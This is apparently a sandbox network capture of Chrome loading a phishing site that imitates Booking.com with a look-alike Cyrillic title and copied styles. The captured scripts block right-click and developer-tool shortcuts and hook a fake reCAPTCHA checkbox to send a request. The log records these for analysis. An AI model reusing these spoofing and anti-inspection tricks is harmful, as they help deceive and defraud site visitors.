2025-01-16 16:16:22 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9pieG8iioqAojMMSX%2Fnn6eBV9bzZzPcAE4KA2%2B0lAcduBX9MEf3DY8lr%2Fv%2BbFJ6tYwgRt0qCA93YYfQeSg%2FZzM5bZWOkybtW5DgKJZz3m5zJ%2BQDb1ToaM44cXne8EG%2FiZDwbd7u4Ig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68db4e23ab3e-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14089&min_rtt=14048&rtt_var=5350&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1262&delivery_rate=203073&cwnd=32&unsent_bytes=0&cid=98a8c5381f0d5e77&ts=381&x=0"
2025-01-16 16:16:22 UTC	437	IN	Data Raw: 33 33 36 37 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 42 d0 be d0 be 6b 69 6e 67 2e d1 81 d0 be 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a Data Ascii: 3367<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bking.m</title> <style> body { margin: 0; font-family: Arial, sans-serif;
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 20 35 35 70 78 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 0a 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 30 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2d 32 30 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 Data Ascii: eight: 55px; justify-content: space-between; align-items: center; left: 0; } header h1 { margin: 0; font-size: 20px; } .content { max-width: 400px; margin: -20px auto; background: white;
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 34 30 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 34 35 70 78 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 6f 6f 74 65 72 20 61 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 37 31 63 32 3b 0a 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 72 20 7b 0a 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 Data Ascii: 400px; margin-top: -45px; font-size: 12px; color: #666; } footer a { color: #0071c2; text-decoration: none; } footer a:hover { text-decoration: underline; } hr { -webkit-font-smoothing:
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 6c 69 67 68 74 3a 20 23 66 63 62 34 62 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 6c 69 67 68 74 65 72 3a 20 23 66 66 65 62 65 62 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 6c 69 67 68 74 65 73 74 3a 20 23 66 66 66 30 66 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 64 61 72 6b 3a 20 23 62 63 35 62 30 31 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 3a 20 23 66 66 38 30 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 Data Ascii: color_destructive: #c00; --bui_color_destructive_light: #fcb4b4; --bui_color_destructive_lighter: #ffebeb; --bui_color_destructive_lightest: #fff0f0; --bui_color_callout_dark: #bc5b01; --bui_color_callout: #ff8000; --bu
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 6c 69 67 68 74 65 72 3a 20 23 65 34 66 34 66 66 3b 0a 20 20 20 20 20 20 2d 2d 67 65 6e 69 75 73 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 3a 20 23 30 30 34 63 62 38 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 62 61 73 65 6c 69 6e 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 70 61 64 64 69 6e 67 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 6e 65 67 61 74 69 76 65 5f 70 61 64 64 69 6e 67 3a 20 2d 31 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 6d 65 64 69 75 6d 5f 62 72 65 61 6b 70 6f 69 6e 74 3a 20 35 37 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 6c 61 72 67 65 5f 62 72 65 61 6b 70 6f 69 6e 74 3a 20 31 30 32 34 70 78 3b 0a 20 20 20 Data Ascii: ; --bui_color_action_lighter: #e4f4ff; --genius_color_primary: #004cb8; --bui_baseline: 24px; --bui_padding: 12px; --bui_negative_padding: -12px; --bui_medium_breakpoint: 576px; --bui_large_breakpoint: 1024px;
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 6f 6e 74 5f 6c 61 72 67 65 73 74 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 34 30 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 6e 6f 72 6d 61 6c 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 6d 65 64 69 75 6d 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 77 65 69 67 68 74 5f 62 6f 6c 64 3a 20 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 74 61 63 6b 5f 73 61 6e 73 3a 20 22 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 22 2c 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 22 52 6f 62 6f 74 6f 22 2c 20 22 48 65 6c 76 65 74 69 63 61 22 2c 20 22 41 72 69 61 6c 22 2c 20 73 61 6e 73 2d Data Ascii: ont_largest_line_height: 40px; --bui_font_weight_normal: 400; --bui_font_weight_medium: 500; --bui_font_weight_bold: 700; --bui_font_stack_sans: "BlinkMacSystemFont", -apple-system, "Segoe UI", "Roboto", "Helvetica", "Arial", sans-
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 20 23 34 37 34 37 34 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 66 6f 72 65 67 72 6f 75 6e 64 5f 69 6e 76 65 72 74 65 64 3a 20 23 66 35 66 35 66 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 39 34 36 38 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 30 30 36 63 65 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 66 6f 72 65 67 72 6f 75 6e 64 3a 20 23 39 32 33 65 30 31 3b 0a 20 20 20 20 20 Data Ascii: #474747; --bui_color_foreground_inverted: #f5f5f5; --bui_color_brand_primary_foreground: #003b95; --bui_color_accent_foreground: #946800; --bui_color_action_foreground: #006ce4; --bui_color_callout_foreground: #923e01;
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 72 61 6e 64 5f 67 65 6e 69 75 73 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 69 6e 76 65 72 74 65 64 3a 20 23 31 61 31 61 31 61 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 37 34 37 34 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 74 72 61 6e 73 70 61 72 65 6e 74 3a 20 72 67 62 61 28 32 36 2c 20 32 36 2c 20 32 36 2c 20 30 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 3a 20 23 Data Ascii: ry_background: #fff; --bui_color_on_brand_genius_primary_background: #fff; --bui_color_background_inverted: #1a1a1a; --bui_color_background: #474747; --bui_color_transparent: rgba(26, 26, 26, 0); --bui_color_background_alt: #
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 3a 20 23 66 66 62 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 79 6e 61 6d 69 63 Data Ascii: tructive_background_dynamic: #fff; --bui_color_on_brand_primary_background_dynamic: #fff; --bui_color_brand_primary_background_dynamic: #003b95; --bui_color_accent_background_dynamic: #ffb700; --bui_color_callout_background_dynamic
2025-01-16 16:16:22 UTC	1369	IN	Data Raw: 6f 6e 74 5f 62 6f 64 79 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 31 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 53 65 67 6f 65 20 55 49 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 Data Ascii: ont_body_1_line-height: 24px; --DO_NOT_USE_bui_small_font_body_1_font-family: BlinkMacSystemFont, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif; --DO_NOT_USE_bui_small_font_body_2_font-size: 14px; --DO_NOT_USE_bui_small_f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49735	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:23 UTC	542	OUT	GET /languageRevert.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:24 UTC	961	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:24 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 874 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"36a-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=shi11C6cN21eCiHoqlsCm3bHlfcn%2FU2o4SU1k9XDRM13AVRgXlaZjr4v0XqigzQX9kONUk9ID9i2huIEkYwAo4a35kd2McS2DWZ0wou12V5Pwo45Bt0J0yrjb3mvgYINejR5hqqWcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68e5aa37aba0-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14439&min_rtt=14420&rtt_var=5421&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1120&delivery_rate=202496&cwnd=32&unsent_bytes=0&cid=653fa278392534fb&ts=391&x=0"
2025-01-16 16:16:24 UTC	408	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 76 65 72 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 21 3d 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 Data Ascii: (function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const
2025-01-16 16:16:24 UTC	466	IN	Data Raw: 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 20 26 26 20 65 76 65 6e 74 2e 6b 65 79 2e 74 6f 4c 6f 77 65 72 43 Data Ascii: document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49736	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:23 UTC	542	OUT	GET /captchaHandler.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:24 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:24 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 586 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:38 GMT ETag: W/"24a-19440759fb0" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fdOOqup7wDX6475SyX6CO3YccTCqRlMVaGQSn4RbY2EcCq38oKQXNvh%2F0kjv1XeoUp5Gk%2FkjLl9L0uYMKGLqRDdaz5sUcTkXTeqUnvMk6sE%2BC0sDtYuml9EVudDZBLCACEI%2FFkB4nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68e5aa56c553-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19303&min_rtt=8104&rtt_var=10524&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=1120&delivery_rate=360315&cwnd=32&unsent_bytes=0&cid=49f6f424b32dc0a3&ts=365&x=0"
2025-01-16 16:16:24 UTC	402	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 63 61 70 74 63 68 61 2d 63 68 65 63 6b 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 20 28 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 d0 9e d1 82 d0 bf d1 80 d0 b0 Data Ascii: document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { //
2025-01-16 16:16:24 UTC	184	IN	Data Raw: 20 20 20 20 20 20 20 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 6f 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 20 0a Data Ascii: if (response.ok) { console.log(''); } else { console.error(''); } }); }); }});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49744	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:25 UTC	361	OUT	GET /languageRevert.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:25 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 874 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"36a-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FkmckWULbt6p1WmTnQP7m%2Bry6ZpIQtZwkEtySJUFW7VicNVi7mffyu2EFuUzYtdnWX4ljLNvk4K6cP5T%2Fzo%2B3mQt97gtL0wRueOEwyFxVMk3IxIxTp9IaXuHZzDG6JAUSHvwO1DlfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68ee188ddda4-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8472&min_rtt=8456&rtt_var=3204&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=939&delivery_rate=339969&cwnd=32&unsent_bytes=0&cid=ff19b58552eee7d7&ts=379&x=0"
2025-01-16 16:16:25 UTC	405	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 76 65 72 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 21 3d 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 Data Ascii: (function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const
2025-01-16 16:16:25 UTC	469	IN	Data Raw: 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 20 26 26 20 65 76 65 6e 74 2e 6b 65 79 2e 74 6f 4c 6f 77 Data Ascii: ); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if 